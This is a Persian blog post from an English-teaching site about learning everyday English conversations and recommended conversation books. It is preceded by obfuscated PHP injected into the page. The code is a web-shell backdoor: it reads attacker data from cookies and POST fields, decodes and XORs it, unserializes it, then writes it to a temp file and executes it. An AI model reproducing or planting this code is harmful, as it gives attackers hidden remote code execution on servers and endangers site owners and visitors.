$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} زبان انگلیسی - مکالمات انگلیسی |بلاگ اتیچر

مکالمات انگلیسی

مکالمات انگلیسی
زمان مطالعه: ۶ دقیقه

مسلما یکی از دغدغه‌ها و اهداف اصلی کسانی که در حال یادگیری زبان انگلیسی هستند، توانایی برقراری ارتباط و ایجاد مکالمات انگلیسی است. طبیعتا بعد از یادگیری مطالب پایه‌ای مربوط به لغات و گرامر، و حتی در حین آموزش این مطالب، استفاده کاربردی از قواعد، لغات و اصطلاحات آموخته شده در قالب مکالمات انگلیسی تاثیر بسیار مهمی در یادگیری هرچه بهتر و تثبیت مطالب خواهد داشت. اساتید زبان انگلیسی ما در اٌتیچر (کلاس زبان آنلاین) معتقدند دانستن مواردی مثل تفاوت میان مکالمات رسمی و غیر رسمی، سوالات و پاسخ‌های متداول در یک مکالمه ساده انگلیسی، قواعد معمول در مکالمات تلفنی انگلیسی و… کمک می‌کند تا در برقراری ارتباط با دیگران موفق‌تر بوده و منظور خود را به بهترین شکل انتقال دهیم.

از آنجا که تنوع مکالمات بسیار زیاد است و فهم و به کارگیری آنها بسیار وابسته به سطح تسلط افراد به زبان انگلیسی است، در این مقاله سعی می‌کنیم با بررسی کلی این موضوع و ارائه نکاتی درباره یادگیری آنها، با معرفی چندین منبع معتبر، شما را در آموختن مکالمات راهنمایی کنیم.

فهرست بخش ها

انواع مکالمات انگلیسی

همانطور که در فارسی جملات و عبارات نسبتا مشخصی چهارچوب صحبت‌ها و مکالمات ما را تشکیل می‌دهند، در زبان انگلیسی نیز جملات و اصطلاحات انگلیسی فراوانی وجود دارد که به طور معمول در مکالمات روزمره و موقعیت‌های خاص کاربرد زیادی داشته و کلیت مکالمه را شکل می‌دهند. آشنایی با این جملات فهم منظور شخص مقابل و بیان دقیق مطلب را برای فرد آسان می‌کند و از سو برداشت‌ها جلوگیری می‌کند. از سوی دیگر استفاده درست از این عبارات باعث می‌شود مکالمه صحیح و واقعی‌تری با فرد مقابل داشته باشیم و حرف خود را با همان بار معنایی که مد نظرمان هست انتقال دهیم.

به طور کلی می‌توان مکالمات انگلیسی را به دو دسته مکالمات رسمی و مکالمات غیر رسمی یا خودمانی تقسیم کرد. تفاوت اصلی این دو نوع در نحوه بیان و میزان رعایت ادب و احترام است و میزان آشنایی و صمیمیت شما با فرد مقابل، یا موقعیت آن گفتگو تعیین کننده رسمی بودن یا نبودن آن است.

برخی از مهمترین موضوعات مکالمات انگلیسی عبارتند از:

  • احوال‌پرسی، خوش‌آمدگویی و معرفی
  • گفتگوهای کوتاه؛ درباره آب و هوا، محیط اطراف و…
  • پرسیدن زمان یا آدرس
  • خرید و رستوران
  • مطب پزشک
  • مکالمات تلفنی انگلیسی
  • مسافرت و استفاده از وسایل نقلیه
  • سوال و جواب‌های متداول و پرکاربرد

نکاتی درباره یادگیری مکالمات پرکاربرد انگلیسی

زبان آموزان به طور طبیعی در روند یادگیری زبان، مکالمات متعددی را یاد می‌گیرند. همچنین با روش‌هایی مانند گوش دادن به محتواهای صوتی مانند پادکست، یا تماشای فیلم و سریال انگلیسی، امکان آشنایی با تعداد زیادی از این جملات و عبارات فراهم می‌شود. اما مراجعه به منابع تخصصی مکالمات به هر زبان آموزی توصیه می‌شود. در این منابع سناریوهای مختلف پوشش داده می‌شود، و جملات در قالب مثال‌های کاربردی آموخته می‌شوند.

مانند باقی مهارت‌ها در روند زبان آموزی، یادگیری مکالمات انگلیسی نیز با استفاده و تکرار آنها در مکالمات و گفتگوها، در ذهن تثبیت می‌شوند و به خوبی فرا گرفته می‌شوند. بنابراین سعی کنید جملات و عبارات تازه را در گفتگو با استاد، همکلاسی یا دوست خود به کار ببرید و آنها را صرفا به صورت متن مطالعه نکنید.

همواره در حال یادگیری باشید و نگران اشتباه کردن نباشید، اشتباهات بخشی از روند یادگیری هستند. به دلایل اشتباه خود دقت کنید و به دنبال رفع آنها باشید. دایره لغات محدود، اطلاعات گرامری ناقص، تلاش برای ترجمه لغت به لغت اصطلاحات از فارسی به انگلیسی یا برعکس، برخی از دلایل اصلی این اشتباهات هستند.

در زمان تماشای فیلم و سریال یا در حین گفتگو، به جای تمرکز بر روی لغتی که نمی‌شناسید، بر روی لغاتی که معنی آن را می‌دانید تمرکز کنید و سعی کنید با اعتماد به نفس و تکیه بر کلمات کلیدی جمله، مفهوم کلی را حدس بزنید.

منابع یادگیری مکالمات

در این بخش به سراغ چند منبع متفاوت برای یادگیری مکالمات انگلیسی می‌رویم. این کتاب‌ها که توسط سایت Essential English به صورت آنلاین و همراه با فایل‌های صوتی در دسترس هستند، هر کدام شیوه بیان مختص خود داشته و بر موضوعات مشخصی تمرکز دارند. پیشنهاد ما این است که در ابتدا این منابع را با هم مقایسه کنید و بهترین گزینه را برای خود انتخاب کنید.

کتاب Everyday Conversations: Learning American English

این کتاب که توسط اداره آموزش و امور فرهنگی، زیر مجموعه وزارت امور خارجه ایالات متحده آمریکا تهیه شده است بر روی گفتگوهای روزانه انگلیسی تمرکز دارد. موضوعات این کتاب شامل احوال‌پرسی و معرفی، گفتگوهای کوتاه، خرید، آدرس پرسیدن، مکالمه تلفنی انگلیسی، تفریحات و مشورت دادن است. شما می‌توانید از طریق دانلود فایل PDF این کتاب آن را مطالعه کنید، یا اینکه از طریق این لینک آن را در سایت Essential English بخوانید یا بشنوید.

کتاب Dialogs for Everyday Use

این کتاب نیز در لیست منابع پیشنهادی اداره آموزش و امور فرهنگی آمریکا بوده و در آن ۳۰ گفتگو درباره موضوعاتی مانند احوال‌پرسی و خوش‌آمد‌گویی به صورت رسمی و غیر رسمی، مکالمات تلفنی انگلیسی، خرید، فعالیت‌های اجتماعی، بازی و ورزش و تعدادی مکالمات ساده انگلیسی تدریس شده است. می توانید این کتاب را از این لینک دانلود کنید.

دانلود کتاب More Dialogs for Everyday ‎Use

در ادامه کتاب قبلی این کتاب تهیه شده است که حاوی ۳۶ موضوع گفتگوی دیگر بوده و مکالماتی مانند نیازهای روزانه، حمل و نقل عمومی، ملاقات‌های اجتماعی، سفر، و مسائل خانوادگی را پوشش می‌دهد. فایل PDF این کتاب از طریق این لینک قابل دانلود است.

کتاب Speak English Around Town

اصطلاحات و ضرب‌المثل‌ها بخش مهمی از مکالمات روزمره انگلیسی هستند که هم در نوشتار و هم در گفتار کاربرد زیادی دارند. از آنجا که معنی اصطلاحات همیشه با ترجمه لغت به لغت آنها هم معنی نیست، آشنایی با آنها و موارد استفاده اصطلاحات در یک مکالمه ساده انگلیسی بسیار مهم است.

در کتاب Speak English Around Town می‌توان با یادگیری اصطلاحات خیلی پرکاربرد شروع کرد، چرا که در فیلم و سریال‌ها و در مکالمات روزانه بسیار با آنها برخورد خواهید داشت. بعد از تسلط به این موارد، می‌توان سراغ اصطلاحات کم کاربردتر و پیچیده‌تر رفت. هیچ کدام از اصطلاحات این کتاب غیر عادی یا قدیمی نیستند و شما می‌توانید با اطمینان کامل از آنها در مکالمات خود استفاده کنید. در این کتاب اصطلاحات و ضرب‌المثل‌ها را در قالب مکالمات روزمره در موقعیت‌هایی مانند خرید، رستوران، مطب پزشک، مهمانی و سفر یاد می‌گیرید.

کتاب Speak Business English Like an American

محیط‌های کاری آمریکایی پر از اصطلاحات مختلف است. در این کتاب بیش از ۳۵۰ اصطلاح و ضرب‌المثل پر کاربرد در محیط‌های اداری و کاری را پوشش داده شده است. هرچقدر بیشتر با این اصطلاحات و مکالمات پر‌کاربرد انگلیسی آشنا باشید چالش کمتری در فهم صحبت‌ها خواهید داشت و با شرکت در گفتگوها، موقعیت‌های شغلی بهتری پیدا خواهید کرد.

بعد از آشنایی با این اصطلاحات می‌توان در روزنامه‌ها و مجلات و اخبار دنبال آنها گشت. این اصطلاحات همه جا به کار می‌روند. می‌توانید در صحبت با دوستان و همکاران خود از این مکالمات استفاده کنید و به نحوه کلام خود شور و هیجان بدهید. در این کتاب مکالمات مختلفی مثل صحبت درباره پروژه‌های کاری، بررسی نتایج کاری، مسائل مالی، ارتباط با همکاران، مصاحبه کاری و… وجود دارد که همگی بسیار مفید و کاربردی هستند.

کتاب English the American Way

در این کتاب به روشی سرگرم کننده با مکالمات روزمره انگلیسی آشنا می‌شویم. تمرکز این کتاب بر روی گفتگوهای غیر رسمی و محاوره‌ای است و بر خلاف خیلی از کتاب‌های آموزشی انگلیسی، با متن انگلیسی ساده شده روبرو نیستیم و در عوض با زبان انگلیسی واقعی آشنا می‌شویم.

این کتاب پر از لغات، اصطلاحات، افعال مرکب، ضرب‌المثل‌ها و عبارات محاوره‌ای است. از سوی دیگر محتوای صوتی این کتاب ما را با تلفظ صحیح این مکالمات آشنا می‌کند. از مزایای بی‌نظیر این کتاب، نکات کاربردی گرامر، ضرب‌المثل‌ها، اطلاعات فرهنگی و نکات جالب حاشیه‌ای است که در هر بخش آمده است و فضای مکالمات را برای خواننده ملموس‌تر می‌کند.

مکالمه ساده انگلیسی

عالم بی عمل، زنبور بی عسل است

شما حتی اگر بتوانید تمامی اصطلاحات و عبارات پرکاربرد را یاد بگیرید یا تمام لغات دیکشنری را حفظ کنید، تا زمانی که نتوانید از آنها به درستی در گفتگوها و مکالمات خود استفاده کنید، وقت خود را هدر داده‌اید. بنابراین تمرکز خود را بر استفاده کاربردی از مطالبی که یاد می‌گیرید بگذارید و سعی کنید به صورت روزمره در مکالمات خود از عبارات و اصطلاحات جدیدی که یاد گرفته‌اید استفاده کنید تا روز به روز تسلط بیشتری پیدا کرده و فرصت یادگیری مطالب سطح بالاتر را پیدا کنید. موثرترین راه یادگیری مکالمات انگلیسی از نظر شما چیست؟ با ما در میان بگذارید.

۵/۵ - (۱ امتیاز)

سروش رفیعی

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search